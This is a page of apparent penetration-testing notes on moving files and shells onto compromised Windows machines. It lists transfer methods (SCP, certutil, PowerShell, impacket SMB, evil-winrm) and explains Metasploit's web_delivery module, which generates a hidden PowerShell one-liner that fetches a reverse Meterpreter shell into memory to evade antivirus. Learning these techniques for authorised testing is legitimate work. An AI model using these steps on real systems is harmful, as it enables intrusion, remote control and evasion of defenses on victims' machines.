Ctrlk
For the complete documentation index, see llms.txt. This page is also available as Markdown.

Uploading Shells/ Transferring Files

LogoWindows File Transfers For Hackers - Juggernaut PentestingJuggernaut Pentesting Blog - A blog to help others achieve their goals in Cyber Security.
windows cheatsheat

Transfer files with SSH (SCP)

Best to copy to tmp folder as there are no restrictions mostly

Python server

basic http-Server

Powershell downloading files

Certutil cmd windows

RDP with shared folder to transfer filer - xfreerdp

Download files from server to machine in Windows

SMB Files tranfer with impacket

start smb server on attacker machine

We can also use it without specifying username and password

And now you can make aval this share on the windows system as a separate drive

And now you can transfer files to and fro from both machines.

We can also directly move files without setting it as drive.

Evil-winrm

You can use upload and download command to transfer files

Other web servers complete list

Getting a Meterpreter shell on a compromised Windows machine

  • exploit/: Indicates the use of a module designed to take advantage of a specific vulnerability or system configuration to execute code.

  • multi/: Signifies that the module is cross-platform and can target multiple operating systems (Windows, Linux, macOS).

  • script/: Specifies that the exploit delivers its payload via a script (like PowerShell, Python, or PHP).

  • web_delivery: The name of the module that hosts a payload on a temporary web server. When the victim executes a specific one-liner command, it fetches and runs the payload in memory.

Utility: PowerShell & Windows Reverse Meterpreter

The primary utility of this module is to gain a fileless reverse shell. Instead of sending an .exe file that might be caught by antivirus, you provide a single PowerShell command to the target system.

1. Usage for Windows Reverse Meterpreter

To use this for a Windows target, you would configure the module within Metasploit as follows:

  • Set Target: set TARGET 2 (This selects the PowerShell target, as seen in your screenshot where target => 2).

  • Set Payload: set PAYLOAD windows/x64/meterpreter/reverse_tcp

  • Set Local Host: set LHOST [Your_IP]

  • Execute: Type run or exploit.

2. Full Use with PowerShell

Once you hit run, Metasploit will generate a unique PowerShell "one-liner." It looks something like this: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -RunAs [Encoded_Command_String]

Why this is effective:

  • Antivirus Evasion: Because the payload is executed directly in memory via PowerShell, it never touches the hard drive, making it harder for standard antivirus programs to detect.

  • Simplicity: You only need a way to execute a single line of text on the victim's machine (e.g., via a compromised web server, a malicious shortcut, or a macro).

PreviousShellsNextFootPrinting

Last updated